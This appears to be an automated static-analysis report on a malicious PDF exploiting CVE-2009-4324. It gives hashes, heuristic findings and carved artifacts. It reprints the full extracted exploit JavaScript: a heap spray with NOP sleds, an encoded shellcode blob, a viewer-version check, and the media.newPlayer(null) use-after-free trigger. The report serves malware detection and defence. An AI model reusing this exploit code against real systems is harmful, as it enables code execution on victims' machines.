Malicious PDF — malware analysis report

Static analysis result for SHA-256 000f6a4a5f567e2b…

MALICIOUS

PDF

297.6 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2013-04-26
MD5: c538086dc40c65fdf231eccc3ede6948 SHA-1: 7ed0a6852e5bf9c5498aa4f3571c888086ca196a SHA-256: 000f6a4a5f567e2bd569c221a98a7fcaf7de7075318703e23b9eaa69cbf880cf
292 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1204.002 Malicious Link: Malicious File T1059 Command and Scripting Interpreter T1059.007 Command and Scripting Interpreter: JavaScript

The PDF file contains embedded JavaScript that leverages the CVE-2009-4324 vulnerability through the media.newPlayer API. The JavaScript attempts to obfuscate a payload, which is then decoded and likely executed. This indicates a drive-by download or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8463

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop0 =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • External URI info PDF_URI
    PDF contains an external URL action
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.eccj.or.jp/ PDF link annotation
    • http://www.anzen.mofa.go.jp/In PDF document text
    • http://www.mofa.go.jp/mofaj/toko/passport/index.htmlIn PDF document text
    • http://www.kaigai-anzen.netIn PDF document text
    • http://www.nta.go.jpIn PDF document text
    • http://www.green.or.jp/In PDF document text
    • http://www.fdma.go.jp/In PDF document text
    • http://www.rinya.maff.go.jp/In PDF document text
    • http://www.mhlw.go.jp/bunya/kenkou/woman.htmlIn PDF document text
    • http://www.meti.go.jp/product_safety/index.htmlIn PDF document text
    • http://www.maff.go.jp/j/keiei/kourei/danzyo/index.htmlIn PDF document text
    • http://www.weli.or.jp/index.htmlIn PDF document text
    • http://www8.cao.go.jp/syokuiku/index.htmlIn PDF document text
    • http://www.mlit.go.jp/tochimizushigen/mizsei/tochimizushigen_mizsei_tk1_000013.htmlIn PDF document text
    • http://www.jatahq.org/In PDF document text
    • http://www.wmo.int/pages/index_en.htmlIn PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2119 bytes
SHA-256: ef0df738ea4838a812ef6359f0ec5d2c26f5d6fb884b59c3698f1159e33488ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var ss;//ahlfah

for(i=0;i<18000;i++)

ss = ss+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function rep(str)
{
	var sc='';
	for(var i=0;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=4) 
	sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
	return sc;
}

var une = unescape;

var sc = "c8d974d9f424eebae0ec29de5fc937b157318314100126024207dee055eedee4eceebabfdc4fdee067eed2a09c6573fc84658fe8996555dcc29add98ba1ba86befceed15a52773a129ed05d352e1e6f0981c1fe8e12504e307aee51199f18007b265ddc48a33d26b67a5c2be31edda6bef6575250eb7ed5c6f35da23ec8421b310b9d9db1f9b816975128cb29b1121e41099891f75169e8aec86def013eed69713bc2ab7ab67b41861ee2aa713bed6979b1121181099891f671ed2afab651e18abe6ee60ac822902bb11361813a3211f89f8ce1a26ba4f4fe442a83a7743019d4a95dee4ce2cdee08722dee4eededee0";
sc = une(rep(sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77";
        var k = "\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="0d0c0d0c0d0c0d0c41706d7a554b4d67794f514f6f4d585a764f4c566f4b48584249666d566f625a456775686a465258714e79617a614878756b754d4c57647a58704d4644624b4f";
	str1 = une(rep(str1));
	var nop0 =  unescape("\x25\x750c0c");
	var ab = "\x76\x69\x65\x77\x65\x72\x56";
	var bc = "\x65\x72\x73\x69\x6F\x6E";

	memory=new Array();
	for(i=0;i<0xE00;i++)
	{
      memory[i] = AppendLoop(nop0,18000);
      memory[i] +=sc;
	}

	if(app[ab+bc]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+k+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+k+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
font_00_sfnt_off00028187.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x28187 278384 bytes
SHA-256: 5ebd8ff5bfe5f238ff0b7e06938c9985617ffa4dbb5aa941fd1b8cf970c6f622
font_01_sfnt_off0003baaa.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3BAAA 25200 bytes
SHA-256: 2531a2a43e096aa979222778e4434e412cb1fa2910dfd9cb004187d7b219ea4e
font_02_sfnt_off0003ea94.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3EA94 31544 bytes
SHA-256: 8b9eb2f36f6f65ca3ca102230fa21392dc3092e710378d0d8583a008361d2643
font_03_sfnt_off00042d7d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x42D7D 165136 bytes
SHA-256: 9170aa21bff7f2adfedfca462d442a4228ebde1e55c59b47c3655c4c80237508
polyglot_child_pdf_off0001db02.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1DB02 183161 bytes
SHA-256: c587cb1142782f93f96f0690e9f2098c0e3f0da65964c0163e4820603e03c832
polyglot_child_pdf_off00048e8e.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x48E8E 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8